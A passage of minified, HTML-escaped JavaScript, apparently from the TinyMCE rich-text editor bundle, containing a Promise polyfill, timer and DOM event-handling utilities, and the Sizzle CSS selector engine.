function&quot;);this._state=null,this._value=null,this._deferreds=[],l(e,r(o,this),r(u,this))},t=i.immediateFn||&quot;function&quot;==typeof setImmediate&amp;&amp;setImmediate||function(e){setTimeout(e,1)};function a(r){var o=this;null!==this._state?t(function(){var e=o._state?r.onFulfilled:r.onRejected;if(null!==e){var t;try{t=e(o._value)}catch(n){return void r.reject(n)}r.resolve(t)}else(o._state?r.resolve:r.reject)(o._value)}):this._deferreds.push(r)}function o(e){try{if(e===this)throw new TypeError(&quot;A promise cannot be resolved with itself.&quot;);if(e&amp;&amp;(&quot;object&quot;==typeof e||&quot;function&quot;==typeof e)){var t=e.then;if(&quot;function&quot;==typeof t)return void l(r(t,e),r(o,this),r(u,this))}this._state=!0,this._value=e,s.call(this)}catch(n){u.call(this,n)}}function u(e){this._state=!1,this._value=e,s.call(this)}function s(){for(var e=0,t=this._deferreds.length;e&lt;t;e++)a.call(this,this._deferreds[e]);this._deferreds=null}function c(e,t,n,r){this.onFulfilled=&quot;function&quot;==typeof e?e:null,this.onRejected=&quot;function&quot;==typeof t?t:null,this.resolve=n,this.reject=r}function l(e,t,n){var r=!1;try{e(function(e){r||(r=!0,t(e))},function(e){r||(r=!0,n(e))})}catch(o){if(r)return;r=!0,n(o)}}return i.prototype[&quot;catch&quot;]=function(e){return this.then(null,e)},i.prototype.then=function(n,r){var o=this;return new i(function(e,t){a.call(o,new c(n,r,e,t))})},i.all=function(){var s=Array.prototype.slice.call(1===arguments.length&amp;&amp;e(arguments[0])?arguments[0]:arguments);return new i(function(o,i){if(0===s.length)return o([]);var a=s.length;function u(t,e){try{if(e&amp;&amp;(&quot;object&quot;==typeof e||&quot;function&quot;==typeof e)){var n=e.then;if(&quot;function&quot;==typeof n)return void n.call(e,function(e){u(t,e)},i)}s[t]=e,0==--a&amp;&amp;o(s)}catch(r){i(r)}}for(var e=0;e&lt;s.length;e++)u(e,s[e])})},i.resolve=function(t){return t&amp;&amp;&quot;object&quot;==typeof t&amp;&amp;t.constructor===i?t:new i(function(e){e(t)})},i.reject=function(n){return new i(function(e,t){t(n)})},i.race=function(o){return new i(function(e,t){for(var n=0,r=o.length;n&lt;r;n++)o[n].then(e,t)})},i}(),me=function(e,t){return&quot;number&quot;!=typeof t&amp;&amp;(t=0),setTimeout(e,t)},ge=function(e,t){return&quot;number&quot;!=typeof t&amp;&amp;(t=1),setInterval(e,t)},pe=function(t,n){var r,e;return(e=function(){var e=arguments;clearTimeout(r),r=me(function(){t.apply(this,e)},n)}).stop=function(){clearTimeout(r)},e},he={requestAnimationFrame:function(e,t){le?le.then(e):le=new de(function(e){t||(t=V.document.body),function(e,t){var n,r=V.window.requestAnimationFrame,o=[&quot;ms&quot;,&quot;moz&quot;,&quot;webkit&quot;];for(n=0;n&lt;o.length&amp;&amp;!r;n++)r=V.window[o[n]+&quot;RequestAnimationFrame&quot;];r||(r=function(e){V.window.setTimeout(e,0)}),r(e,t)}(e,t)}).then(e)},setTimeout:me,setInterval:ge,setEditorTimeout:function(e,t,n){return me(function(){e.removed||t()},n)},setEditorInterval:function(e,t,n){var r;return r=ge(function(){e.removed?clearInterval(r):t()},n)},debounce:pe,throttle:pe,clearInterval:function(e){return clearInterval(e)},clearTimeout:function(e){return clearTimeout(e)}},ve=/^(?:mouse|contextmenu)|click/,ye={keyLocation:1,layerX:1,layerY:1,returnValue:1,webkitMovementX:1,webkitMovementY:1,keyIdentifier:1},be=function(){return!1},Ce=function(){return!0},xe=function(e,t,n,r){e.addEventListener?e.addEventListener(t,n,r||!1):e.attachEvent&amp;&amp;e.attachEvent(&quot;on&quot;+t,n)},we=function(e,t,n,r){e.removeEventListener?e.removeEventListener(t,n,r||!1):e.detachEvent&amp;&amp;e.detachEvent(&quot;on&quot;+t,n)},Ne=function(e,t){var n,r,o=t||{};for(n in e)ye[n]||(o[n]=e[n]);if(o.target||(o.target=o.srcElement||V.document),fe.experimentalShadowDom&amp;&amp;(o.target=function(e,t){if(e.composedPath){var n=e.composedPath();if(n&amp;&amp;0&lt;n.length)return n[0]}return t}(e,o.target)),e&amp;&amp;ve.test(e.type)&amp;&amp;e.pageX===undefined&amp;&amp;e.clientX!==undefined){var i=o.target.ownerDocument||V.document,a=i.documentElement,u=i.body;o.pageX=e.clientX+(a&amp;&amp;a.scrollLeft||u&amp;&amp;u.scrollLeft||0)-(a&amp;&amp;a.clientLeft||u&amp;&amp;u.clientLeft||0),o.pageY=e.clientY+(a&amp;&amp;a.scrollTop||u&amp;&amp;u.scrollTop||0)-(a&amp;&amp;a.clientTop||u&amp;&amp;u.clientTop||0)}return o.preventDefault=function(){o.isDefaultPrevented=Ce,e&amp;&amp;(e.preventDefault?e.preventDefault():e.returnValue=!1)},o.stopPropagation=function(){o.isPropagationStopped=Ce,e&amp;&amp;(e.stopPropagation?e.stopPropagation():e.cancelBubble=!0)},!(o.stopImmediatePropagation=function(){o.isImmediatePropagationStopped=Ce,o.stopPropagation()})==((r=o).isDefaultPrevented===Ce||r.isDefaultPrevented===be)&amp;&amp;(o.isDefaultPrevented=be,o.isPropagationStopped=be,o.isImmediatePropagationStopped=be),&quot;undefined&quot;==typeof o.metaKey&amp;&amp;(o.metaKey=!1),o},Ee=function(e,t,n){var r=e.document,o={type:&quot;ready&quot;};if(n.domLoaded)t(o);else{var i=function(){return&quot;complete&quot;===r.readyState||&quot;interactive&quot;===r.readyState&amp;&amp;r.body},a=function(){n.domLoaded||(n.domLoaded=!0,t(o))},u=function(){i()&amp;&amp;(we(r,&quot;readystatechange&quot;,u),a())},s=function(){try{r.documentElement.doScroll(&quot;left&quot;)}catch(e){return void he.setTimeout(s)}a()};!r.addEventListener||fe.ie&amp;&amp;fe.ie&lt;11?(xe(r,&quot;readystatechange&quot;,u),r.documentElement.doScroll&amp;&amp;e.self===e.top&amp;&amp;s()):i()?a():xe(e,&quot;DOMContentLoaded&quot;,a),xe(e,&quot;load&quot;,a)}},Se=function(){var m,g,p,h,v,y=this,b={};g=&quot;mce-data-&quot;+(+new Date).toString(32),h=&quot;onmouseenter&quot;in V.document.documentElement,p=&quot;onfocusin&quot;in V.document.documentElement,v={mouseenter:&quot;mouseover&quot;,mouseleave:&quot;mouseout&quot;},m=1,y.domLoaded=!1,y.events=b;var C=function(e,t){var n,r,o,i,a=b[t];if(n=a&amp;&amp;a[e.type])for(r=0,o=n.length;r&lt;o;r++)if((i=n[r])&amp;&amp;!1===i.func.call(i.scope,e)&amp;&amp;e.preventDefault(),e.isImmediatePropagationStopped())return};y.bind=function(e,t,n,r){var o,i,a,u,s,c,l,f=V.window,d=function(e){C(Ne(e||f.event),o)};if(e&amp;&amp;3!==e.nodeType&amp;&amp;8!==e.nodeType){for(e[g]?o=e[g]:(o=m++,e[g]=o,b[o]={}),r=r||e,a=(t=t.split(&quot; &quot;)).length;a--;)c=d,s=l=!1,&quot;DOMContentLoaded&quot;===(u=t[a])&amp;&amp;(u=&quot;ready&quot;),y.domLoaded&amp;&amp;&quot;ready&quot;===u&amp;&amp;&quot;complete&quot;===e.readyState?n.call(r,Ne({type:u})):(h||(s=v[u])&amp;&amp;(c=function(e){var t,n;if(t=e.currentTarget,(n=e.relatedTarget)&amp;&amp;t.contains)n=t.contains(n);else for(;n&amp;&amp;n!==t;)n=n.parentNode;n||((e=Ne(e||f.event)).type=&quot;mouseout&quot;===e.type?&quot;mouseleave&quot;:&quot;mouseenter&quot;,e.target=t,C(e,o))}),p||&quot;focusin&quot;!==u&amp;&amp;&quot;focusout&quot;!==u||(l=!0,s=&quot;focusin&quot;===u?&quot;focus&quot;:&quot;blur&quot;,c=function(e){(e=Ne(e||f.event)).type=&quot;focus&quot;===e.type?&quot;focusin&quot;:&quot;focusout&quot;,C(e,o)}),(i=b[o][u])?&quot;ready&quot;===u&amp;&amp;y.domLoaded?n({type:u}):i.push({func:n,scope:r}):(b[o][u]=i=[{func:n,scope:r}],i.fakeName=s,i.capture=l,i.nativeHandler=c,&quot;ready&quot;===u?Ee(e,c,y):xe(e,s||u,c,l)));return e=i=0,n}},y.unbind=function(e,t,n){var r,o,i,a,u,s;if(!e||3===e.nodeType||8===e.nodeType)return y;if(r=e[g]){if(s=b[r],t){for(i=(t=t.split(&quot; &quot;)).length;i--;)if(o=s[u=t[i]]){if(n)for(a=o.length;a--;)if(o[a].func===n){var c=o.nativeHandler,l=o.fakeName,f=o.capture;(o=o.slice(0,a).concat(o.slice(a+1))).nativeHandler=c,o.fakeName=l,o.capture=f,s[u]=o}n&amp;&amp;0!==o.length||(delete s[u],we(e,o.fakeName||u,o.nativeHandler,o.capture))}}else{for(u in s)o=s[u],we(e,o.fakeName||u,o.nativeHandler,o.capture);s={}}for(u in s)return y;delete b[r];try{delete e[g]}catch(d){e[g]=null}}return y},y.fire=function(e,t,n){var r;if(!e||3===e.nodeType||8===e.nodeType)return y;for((n=Ne(null,n)).type=t,n.target=e;(r=e[g])&amp;&amp;C(n,r),(e=e.parentNode||e.ownerDocument||e.defaultView||e.parentWindow)&amp;&amp;!n.isPropagationStopped(););return y},y.clean=function(e){var t,n,r=y.unbind;if(!e||3===e.nodeType||8===e.nodeType)return y;if(e[g]&amp;&amp;r(e),e.getElementsByTagName||(e=e.document),e&amp;&amp;e.getElementsByTagName)for(r(e),t=(n=e.getElementsByTagName(&quot;*&quot;)).length;t--;)(e=n[t])[g]&amp;&amp;r(e);return y},y.destroy=function(){b={}},y.cancel=function(e){return e&amp;&amp;(e.preventDefault(),e.stopImmediatePropagation()),!1}};Se.Event=new Se,Se.Event.bind(V.window,&quot;ready&quot;,function(){});var Te,ke,_e,Ae,Re,De,Oe,Be,Pe,Ie,Le,Fe,Me,ze,Ue,je,Ve,He,qe=&quot;sizzle&quot;+-new Date,$e=V.window.document,We=0,Ke=0,Xe=Tt(),Ye=Tt(),Ge=Tt(),Je=function(e,t){return e===t&amp;&amp;(Le=!0),0},Qe=typeof undefined,Ze={}.hasOwnProperty,et=[],tt=et.pop,nt=et.push,rt=et.push,ot=et.slice,it=et.indexOf||function(e){for(var t=0,n=this.length;t&lt;n;t++)if(this[t]===e)return t;return-1},at=&quot;[\\x20\\t\\r\\n\\f]&quot;,ut=&quot;(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+&quot;,st=&quot;\\[&quot;+at+&quot;*(&quot;+ut+&quot;)(?:&quot;+at+&quot;*([*^$|!~]?=)&quot;+at+&quot;*(?:&#039;((?:\\\\.|[^\\\\&#039;])*)&#039;|\&quot;((?:\\\\.|[^\\\\\&quot;])*)\&quot;|(&quot;+ut+&quot;))|)&quot;+at+&quot;*\\]&quot;,ct=&quot;:(&quot;+ut+&quot;)(?:\\(((&#039;((?:\\\\.|[^\\\\&#039;])*)&#039;|\&quot;((?:\\\\.|[^\\\\\&quot;])*)\&quot;)|((?:\\\\.|[^\\\\()[\\]]|&quot;+st+&quot;)*)|.*)\\)|)&quot;,lt=new RegExp(&quot;^&quot;+at+&quot;+|((?:^|[^\\\\])(?:\\\\.)*)&quot;+at+&quot;+$&quot;,&quot;g&quot;),ft=new RegExp(&quot;^&quot;+at+&quot;*,&quot;+at+&quot;*&quot;),dt=new RegExp(&quot;^&quot;+at+&quot;*([&gt;+~]|&quot;+at+&quot;)&quot;+at+&quot;*&quot;),mt=new RegExp(&quot;=&quot;+at+&quot;*([^\\]&#039;\&quot;]*?)&quot;+at+&quot;*\\]&quot;,&quot;g&quot;),gt=new RegExp(ct),pt=new RegExp(&quot;^&quot;+ut+&quot;$&quot;),ht={ID:new RegExp(&quot;^#(&quot;+ut+&quot;)&quot;),CLASS:new RegExp(&quot;^\\.(&quot;+ut+&quot;)&quot;),TAG:new RegExp(&quot;^(&quot;+ut+&quot;|[*])&quot;),ATTR:new RegExp(&quot;^&quot;+st),PSEUDO:new RegExp(&quot;^&quot;+ct),CHILD:new RegExp(&quot;^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\(&quot;+at+&quot;*(even|odd|(([+-]|)(\\d*)n|)&quot;+at+&quot;*(?:([+-]|)&quot;+at+&quot;*(\\d+)|))&quot;+at+&quot;*\\)|)&quot;,&quot;i&quot;),bool:new RegExp(&quot;^(?:checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped)$&quot;,&quot;i&quot;),needsContext:new RegExp(&quot;^&quot;+at+&quot;*[&gt;+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\(&quot;+at+&quot;*((?:-\\d)?\\d*)&quot;+at+&quot;*\\)|)(?=[^-]|$)&quot;,&quot;i&quot;)},vt=/^(?:input|select|textarea|button)$/i,yt=/^h\d$/i,bt=/^[^{]+\{\s*\[native \w/,Ct=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,xt=/[+~]/,wt=/&#039;|\\/g,Nt=new RegExp(&quot;\\\\([\\da-f]{1,6}&quot;+at+&quot;?|(&quot;+at+&quot;)|.)&quot;,&quot;ig&quot;),Et=function(e,t,n){var r=&quot;0x&quot;+t-65536;return r!=r||n?t:r&lt;0?String.fromCharCode(r+65536):String.fromCharCode(r&gt;&gt;10|55296,1023&amp;r|56320)};try{rt.apply(et=ot.call($e.childNodes),$e.childNodes),et[$e.childNodes.length].nodeType}catch(iE){rt={apply:et.length?function(e,t){nt.apply(e,ot.call(t))}:function(e,t){for(var n=e.length,r=0;e[n++]=t[r++];);e.length=n-1}}}var St=function(e,t,n,r){var o,i,a,u,s,c,l,f,d,m;if((t?t.ownerDocument||t:$e)!==Me&amp;&amp;Fe(t),n=n||[],!e||&quot;string&quot;!=typeof e)return n;if(1!==(u=(t=t||Me).nodeType)&amp;&amp;9!==u)return[];if(Ue&amp;&amp;!r){if(o=Ct.exec(e))if(a=o[1]){if(9===u){if(!(i=t.getElementById(a))||!i.parentNode)return n;if(i.id===a)return n.push(i),n}else if(t.ownerDocument&amp;&amp;(i=t.ownerDocument.getElementById(a))&amp;&amp;He(t,i)&amp;&amp;i.id===a)return n.push(i),n}else{if(o[2])return rt.apply(n,t.getElementsByTagName(e)),n;if((a=o[3])&amp;&amp;ke.getElementsByClassName)return rt.apply(n,t.getElementsByClassName(a)),n}if(ke.qsa&amp;&amp;(!je||!je.test(e))){if(f=l=qe,d=t,m=9===u&amp;&amp;e,1===u&amp;&amp;&quot;object&quot;!==t.nodeName.toLowerCase()){for(c=De(e),(l=t.getAttribute(&quot;id&quot;))?f=l.replace(wt,&quot;\\$&amp;&quot;):t.setAttribute(&quot;id&quot;,f),f=&quot;[id=&#039;&quot;+f+&quot;&#039;] &quot;,s=c.length;s--;)c[s]=f+Pt(c[s]);d=xt.test(e)&amp;&amp;Ot(t.parentNode)||t,m=c.join(&quot;,&quot;)}if(m)try{return rt.apply(n,d.querySelectorAll(m)),n}catch(g){}finally{l||t.removeAttribute(&quot;id&quot;)}}}return Be(e.replace(lt,&quot;$1&quot;),t,n,r)};function Tt(){var r=[];return function e(t,n){return r.push(t+&quot; &quot;)&gt;_e.cacheLength&amp;&amp;delete e[r.shift()],e[t+&quot; &quot;]=n}}function kt(e){return e[qe]=!0,e}function _t(e,t){var n=t&amp;&amp;e,r=n&amp;&amp;1===e.nodeType&amp;&amp;1===t.nodeType&amp;&amp;(~t.sourceIndex||1&lt;&lt;31)-(~e.sourceIndex||1&lt;&lt;31);if(r)return r;if(n)for(;n=n.nextSibling;)if(n===t)return-1;return e?1:-1}function At(t){return function(e){return&quot;input&quot;===e.nodeName.toLowerCase()&amp;&amp;e.type===t}}function Rt(n){return function(e){var t=e.nodeName.toLowerCase();return(&quot;input&quot;===t||&quot;button&quot;===t)&amp;&amp;e.type===n}}function Dt(a){return kt(function(i){return i=+i,kt(function(e,t){for(var n,r=a([],e.length,i),o=r.length;o--;)e[n=r[o]]&amp;&amp;(e[n]=!(t[n]=e[n]))})})}function Ot(e){return e&amp;&amp;typeof e.getElementsByTagName!==Qe&amp;&amp;e}for(Te in ke=St.support={},Re=St.isXML=function(e){var t=e&amp;&amp;(e.ownerDocument||e).documentElement;return!!t&amp;&amp;&quot;HTML&quot;!==t.nodeName},Fe=St.setDocument=function(e){var t,s=e?e.ownerDocument||e:$e,n=s.defaultView;return s!==Me&amp;&amp;9===s.nodeType&amp;&amp;s.documentElement?(ze=(Me=s).documentElement,Ue=!Re(s),n&amp;&amp;n!==function(e){try{return e.top}catch(t){}return null}(n)&amp;&amp;(n.addEventListener?n.addEventListener(&quot;unload&quot;,function(){Fe()},!1):n.attachEvent&amp;&amp;n.attachEvent(&quot;onunload&quot;,function(){Fe()})),ke.attributes=!0,ke.getElementsByTagName=!0,ke.getElementsByClassName=bt.test(s.getElementsByClassName),ke.getById=!0,_e.find.ID=function(e,t){if(typeof t.getElementById!==Qe&amp;&amp;Ue){var n=t.getElementById(e);return n&amp;&amp;n.parentNode?[n]:[]}},_e.filter.ID=function(e){var t=e.replace(Nt,Et);return function(e){return e.getAttribute(&quot;id&quot;)===t}},_e.find.TAG=ke.getElementsByTagName?function(e,t){if(typeof t.getElementsByTagName!==Qe)return t.getElementsByTagName(e)}:function(e,t){var n,r=[],o=0,i=t.getElementsByTagName(e);if(&quot;*&quot;===e){for(;n=i[o++];)1===n.nodeType&amp;&amp;r.push(n);return r}return i},_e.find.CLASS=ke.getElementsByClassName&amp;&amp;function(e,t){if(Ue)return t.getElementsByClassName(e)},Ve=[],je=[],ke.disconnectedMatch=!0,je=je.length&amp;&amp;new RegExp(je.join(&quot;|&quot;)),Ve=Ve.length&amp;&amp;new RegExp(Ve.join(&quot;|&quot;)),t=bt.test(ze.compareDocumentPosition),He=t||bt.test(ze.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&amp;&amp;t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&amp;&amp;16&amp;e.compareDocumentPosition(r)))}:function(e,t){if(t)for(;t=t.parentNode;)if(t===e)return!0;return!1},Je=t?function(e,t){if(e===t)return Le=!0,0;var n=!e.compareDocumentPosition-!t.compareDocumentPosition;return n||(1&amp;(n=(e.ownerDocument||e)===(t.ownerDocument||t)?e.compareDocumentPosition(t):1)||!ke.sortDetached&amp;&amp;t.compareDocumentPosition(e)===n?e===s||e.ownerDocument===$e&amp;&amp;He($e,e)?-1:t===s||t.ownerDocument===$e&amp;&amp;He($e,t)?1:Ie?it.call(Ie,e)-it.call(Ie,t):0:4&amp;n?-1:1)}:function(e,t){if(e===t)return Le=!0,0;var n,r=0,o=e.parentNode,i=t.parentNode,a=[e],u=[t];if(!o||!i)return e===s?-1:t===s?1:o?-1:i?1:Ie?it.call(Ie,e)-it.call(Ie,t):0;if(o===i)return _t(e,t);for(n=e;n=n.parentNode;)a.unshift(n);for(n=t;n=n.parentNode;)u.unshift(n);for(;a[r]===u[r];)r++;return r?_t(a[r],u[r]):a[r]===$e?-1:u[r]===$e?1:0},s):Me},St.matches=function(e,t){return St(e,null,null,t)},St.matchesSelector=function(e,t){if((e.ownerDocument||e)!==Me&amp;&amp;Fe(e),t=t.replace(mt,&quot;=&#039;$1&#039;]&quot;),ke.matchesSelector&amp;&amp;Ue&amp;&amp;(!Ve||!Ve.test(t))&amp;&amp;(!je||!je.test(t)))try{var n=(void 0).call(e,t);if(n||ke.disconnectedMatch||e.document&amp;&amp;11!==e.document.nodeType)return n}catch(iE){}return 0&lt;St(t,Me,null,[e]).length},St.contains=function(e,t){return(e.ownerDocument||e)!==Me&amp;&amp;Fe(e),He(e,t)},St.attr=function(e,t){(e.ownerDocument||e)!==Me&amp;&amp;Fe(e);var n=_e.attrHandle[t.toLowerCase()],r=n&amp;&amp;Ze.call(_e.attrHandle,t.toLowerCase())?n(e,t,!Ue):undefined;return r!==undefined?r:ke.attributes||!Ue?e.getAttribute(t):(r=e.getAttributeNode(t))&amp;&amp;r.specified?r.value:null},St.error=function(e){throw new Error(&quot;Syntax error, unrecognized expression: &quot;+e)},St.uniqueSort=function(e){var t,n=[],r=0,o=0;if(Le=!ke.detectDuplicates,Ie=!ke.sortStable&amp;&amp;e.slice(0),e.sort(Je),Le){for(;t=e[o++];)t===e[o]&amp;&amp;(r=n.push(o));for(;r--;)e.splice(n[r],1)}return Ie=null,e},Ae=St.getText=function(e){var t,n=&quot;&quot;,r=0,o=e.nodeType;if(o){if(1===o||9===o||11===o){if(&quot;string&quot;==typeof e.textContent)return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=Ae(e)}else if(3===o||4===o)return e.nodeValue}else for(;t=e[r++];)n+=Ae(t);return n},(_e=St.selectors={cacheLength:50,createPseudo:kt,match:ht,attrHandle:{},find:{},relative:{&quot;&gt;&quot;:{dir:&quot;parentNode&quot;,first:!0},&quot; &quot;:{dir:&quot;parentNode&quot;},&quot;+&quot;:{dir:&quot;previousSibling&quot;,first:!0},&quot;~&quot;:{dir:&quot;previousSibling&quot;}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(Nt,Et),e[3]=(e[3]||e[4]||e[5]||&quot;&quot;).replace(Nt,Et),&quot;~=&quot;===e[2]&amp;&amp;(e[3]=&quot; &quot;+e[3]+&quot; &quot;),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),&quot;nth&quot;===e[1].slice(0,3)?(e[3]||St.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*(&quot;even&quot;===e[3]||&quot;odd&quot;===e[3])),e[5]=+(e[7]+e[8]||&quot;odd&quot;===e[3])):e[3]&amp;&amp;St.error(e[0]),e},PSEUDO:function(e){var t,n=!e[6]&amp;&amp;e[2];return ht.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||&quot;&quot;:n&amp;&amp;gt.test(n)&amp;&amp;(t=De(n,!0))&amp;&amp;(t=n.indexOf(&quot;)&quot;,n.length-t)-n.length)&amp;&amp;(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(Nt,Et).toLowerCase();return&quot;*&quot;===e?function(){return!0}:function(e){return e.nodeName&amp;&amp;e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=Xe[e+&quot; &quot;];return t||(t=new RegExp(&quot;(^|&quot;+at+&quot;)&quot;+e+&quot;(&quot;+at+&quot;|$)&quot;))&amp;&amp;Xe(e,function(e){return t.test(&quot;string&quot;==typeof e.className&amp;&amp;e.className||typeof e.getAttribute!==Qe&amp;&amp;e.getAttribute(&quot;class&quot;)||&quot;&quot;)})},ATTR:function(n,r,o){return function(e){var t=St.attr(e,n);return null==t?&quot;!=&quot;===r:!r||(t+=&quot;&quot;,&quot;=&quot;===r?t===o:&quot;!=&quot;===r?t!==o:&quot;^=&quot;===r?o&amp;&amp;0===t.indexOf(o):&quot;*=&quot;===r?o&amp;&amp;-1&lt;t.indexOf(o):&quot;$=&quot;===r?o&amp;&amp;t.slice(-o.length)===o:&quot;~=&quot;===r?-1&lt;(&quot; &quot;+t+&quot; &quot;).indexOf(o):&quot;|=&quot;===r&amp;&amp;(t===o||t.slice(0,o.length+1)===o+&quot;-&quot;))}},CHILD:function(m,e,t,g,p){var h=&quot;nth&quot;!==m.slice(0,3),v=&quot;last&quot;!==m.slice(-4),y=&quot;of-type&quot;===e;return 1===g&amp;&amp;0===p?function(e){return!!e.parentNode}:function(e,t,n){var r,o,i,a,u,s,c=h!==v?&quot;nextSibling&quot;:&quot;previousSibling&quot;,l=e.parentNode,f=y&amp;&amp;e.nodeName.toLowerCase(),d=!n&amp;&amp;!y;if(l){if(h){for(;c;){for(i=e;i=i[c];)if(y?i.nodeName.toLowerCase()===f:1===i.nodeType)return!1;s=c=&quot;only&quot;===m&amp;&amp;!s&amp;&amp;&quot;nextSibling&quot;}return!0}if(s=[v?l.firstChild:l.lastChild],v&amp;&amp;d){for(u=(r=(o=l[qe]||(l[qe]={}))[m]||[])[0]===We&amp;&amp;r[1],a=r[0]===We&amp;&amp;r[2],i=u&amp;&amp;l.childNodes[u];i=++u&amp;&amp;i&amp;&amp;i[c]||(a=u=0)||s.pop();)if(1===i.nodeType&amp;&amp;++a&amp;&amp;i===e){o[m]=[We,u,a];break}}else if(d&amp;&amp;(r=(e[qe]||(e[qe]={}))[m])&amp;&amp;r[0]===We)a=r[1];else for(;(i=++u&amp;&amp;i&amp;&amp;i[c]||(a=u=0)||s.pop())&amp;&amp;((y?i.nodeName.toLowerCase()!==f:1!==i.nodeType)||!++a||(d&amp;&amp;((i[qe]||(i[qe]={}))[m]=[We,a]),i!==e)););return(a-=p)===g||a%g==0&amp;&amp;0&lt;=a/g}}},PSEUDO:function(e,i){var t,a=_e.pseudos[e]||_e.setFilters[e.toLowerCase()]||St.error(&quot;unsupported pseudo: &quot;+e);return a[qe]?a(i):1&lt;a.length?(t=[e,e,&quot;&quot;,i],_e.setFilters.hasOwnProperty(e.toLowerCase())?kt(function(e,t){for(var n,r=a(e,i),o=r.length;o--;)e[n=it.call(e,r[o])]=!(t[n]=r[o])}):function(e){return a(e,0,t)}):a}},pseudos:{not:kt(function(e){var r=[],o=[],u=Oe(e.replace(lt,&quot;$1&quot;));return u[qe]?kt(function(e,t,n,r){for(var o,i=u(e,null,r,[]),a=e.length;a--;)(o=i[a])&amp;&amp;(e[a]=!(t[a]=o))}):function(e,t,n){return r[0]=e,u(r,null,n,o),!o.pop()}}),has:kt(function(t){return function(e){return 0&lt;St(t,e).length}}),contains:kt(function(t){return t=t.replace(Nt,Et),function(e){return-1&lt;(e.textContent||e.innerText||Ae(e)).indexOf(t)}}),lang:kt(function(n){return pt.test(n||&quot;&quot;)||St.error(&quot;unsupported lang: &quot;+n),n=n.replace(Nt,Et).toLowerCase(),function(e){var t;do{if(t=Ue?e.lang:e.getAttribute(&quot;xml:lang&quot;)||e.getAttribute(&quot;lang&quot;))return(t=t.toLowerCase())===n||0===t.indexOf(n+&quot;-&quot;)}while((e=e.parentNode)&amp;&amp;1===e.nodeType);return!1}}),target:function(e){var t=V.window.location&amp;&amp;V.window.location.hash;return t&amp;&amp;t.slice(1)===e.id},root:function(e){return e===ze},focus:function(e){return e===Me.activeElement&amp;&amp;(!Me.hasFocus||Me.hasFocus())&amp;&amp;!!(e.type||e.href||~e.tabIndex)},enabled:function(e){return!1===e.disabled},disabled:function(e){return!0===e.disabled},checked:function(e){var t=e.nodeName.toLowerCase();return&quot;input&quot;===t&amp;&amp;!!e.checked||&quot;option&quot;===t&amp;&amp;!!e.selected},selected:function(e){return e.parentNode&amp;&amp;e.parentNode.selectedIndex,!0===e.selected},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeType&lt;6)return!1;return!0},parent:function(e){return!_e.pseudos.empty(e)},header:function(e){return yt.test(e.nodeName)},input:function(e){return vt.test(e.nodeName)},button:function(e){var t=e.nodeName.toLowerCase();return&quot;input&quot;===t&amp;&amp;&quot;button&quot;===e.type||&quot;button&quot;===t},text:function(e){var t;return&quot;input&quot;===e.nodeName.toLowerCase()&amp;&amp;&quot;text&quot;===e.type&amp;&amp;(null==(t=e.getAttribute(&quot;type&quot;))||&quot;text&quot;===t.toLowerCase())},first:Dt(function(){return[0]}),last:Dt(function(e,t){return[t-1]}),eq:Dt(function(e,t,n){return[n&lt;0?n+t:n]}),even:Dt(function(e,t){for(var n=0;n&lt;t;n+=2)e.push(n);return e}),odd:Dt(function(e,t){for(var n=1;n&lt;t;n+=2)e.push(n);return e}),lt:Dt(function(e,t,n){for(var r=n&lt;0?n+t:n;0&lt;=--r;)e.push(r);return e}),gt:Dt(function(e,t,n){for(var r=n&lt;0?n+t:n;++r&lt;t;)e.push(r);return e})}}).pseudos.nth=_e.pseudos.eq,{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})_e.pseudos[Te]=At(Te);for(Te in{submit:!0,reset:!0})_e.pseudos[Te]=Rt(Te);function Bt(){}function Pt(e){for(var t=0,n=e.length,r=&quot;&quot;;t&lt;n;t++)r+=e[t].value;return r}function It(a,e,t){var u=e.dir,s=t&amp;&amp;&quot;parentNode&quot;===u,c=Ke++;return e.first?function(e,t,n){for(;e=e[u];)if(1===e.nodeType||s)return a(e,t,n)}:function(e,t,n){var r,o,i=[We,c];if(n){for(;e=e[u];)if((1===e.nodeType||s)&amp;&amp;a(e,t,n))return!0}else for(;e=e[u];)if(1===e.nodeType||s){if((r=(o=e[qe]||(e[qe]={}))[u])&amp;&amp;r[0]===We&amp;&amp;r[1]===c)return i[2]=r[2];if((o[u]=i)[2]=a(e,t,n))return!0}}}function Lt(o){return 1&lt;o.length?function(e,t,n){for(var r=o.length;r--;)if(!o[r](e,t,n))return!1;return!0}:o[0]}function Ft(e,t,n,r,o){for(var i,a=[],u=0,s=e.length,c=null!=t;u&lt;s;u++)(i=e[u])&amp;&amp;(n&amp;&amp;!n(i,r,o)||(a.push(i),c&amp;&amp;t.push(u)));return a}function Mt(m,g,p,h,v,e){return h&amp;&amp;!h[qe]&amp;&amp;(h=Mt(h)),v&amp;&amp;!v[qe]&amp;&amp;(v=Mt(v,e)),kt(function(e,t,n,r){var o,i,a,u=[],s=[],c=t.length,l=e||function(e,t,n){for(var r=0,o=t.length;r&lt;o;r++)St(e,t[r],n);return 